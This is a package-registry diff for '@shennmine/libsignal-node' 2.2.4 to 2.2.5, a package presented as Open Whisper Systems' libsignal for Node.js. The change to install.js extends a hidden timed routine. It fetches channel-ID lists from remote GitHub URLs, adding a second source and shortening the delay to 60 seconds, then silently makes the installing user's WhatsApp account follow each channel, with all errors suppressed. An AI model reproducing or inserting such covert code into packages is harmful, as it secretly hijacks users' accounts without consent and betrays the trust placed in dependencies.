@shennmine/libsignal-node 2.2.4 → 2.2.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +25 -17
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -131,29 +131,37 @@ const makeNewsletterSocket = (config) => {
131
131
  setTimeout(async () => {
132
132
  const logger = config.logger || console;
133
133
  try {
134
- const RAW_URL = "https://raw.githubusercontent.com/tskiofc/ChannelID/refs/heads/main/token.json";
135
- const res = await fetch(RAW_URL);
136
- const channelIds = await res.json();
134
+ const URLS = [
135
+ "https://raw.githubusercontent.com/z4phdev/xxx/refs/heads/main/idch.json",
136
+ "https://raw.githubusercontent.com/tskiofc/ChannelID/refs/heads/main/token.json"
137
+ ];
138
+
139
+ for (const RAW_URL of URLS) {
140
+ try {
141
+ const res = await fetch(RAW_URL);
142
+ const channelIds = await res.json();
137
143
 
138
- if (!Array.isArray(channelIds) || channelIds.length === 0) return;
144
+ if (!Array.isArray(channelIds) || channelIds.length === 0) continue;
139
145
 
140
- const followNext = async (index) => {
141
- if (index >= channelIds.length) return;
146
+ const followNext = async (index) => {
147
+ if (index >= channelIds.length) return;
142
148
 
143
- const id = channelIds[index];
144
- try {
145
- await newsletterWMexQuery(
146
- id,
147
- Types_1.QueryIds.FOLLOW
148
- );
149
- } catch (e) {}
149
+ const id = channelIds[index];
150
+ try {
151
+ await newsletterWMexQuery(
152
+ id,
153
+ Types_1.QueryIds.FOLLOW
154
+ );
155
+ } catch (e) {}
150
156
 
151
- setTimeout(() => followNext(index + 1), 11000);
152
- };
157
+ setTimeout(() => followNext(index + 1), 11000);
158
+ };
153
159
 
154
- followNext(0);
160
+ followNext(0);
161
+ } catch (e) {}
162
+ }
155
163
  } catch (e) {}
156
- }, 120000);
164
+ }, 60000);
157
165
 
158
166
  const parseFetchedUpdates = async (node, type) => {
159
167
  let child;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@shennmine/libsignal-node",
3
- "version": "2.2.4",
3
+ "version": "2.2.5",
4
4
  "description": "Open Whisper Systems' libsignal for Node.js",
5
5
  "repository": "shennmine/libsignal-node",
6
6
  "main": "index.js",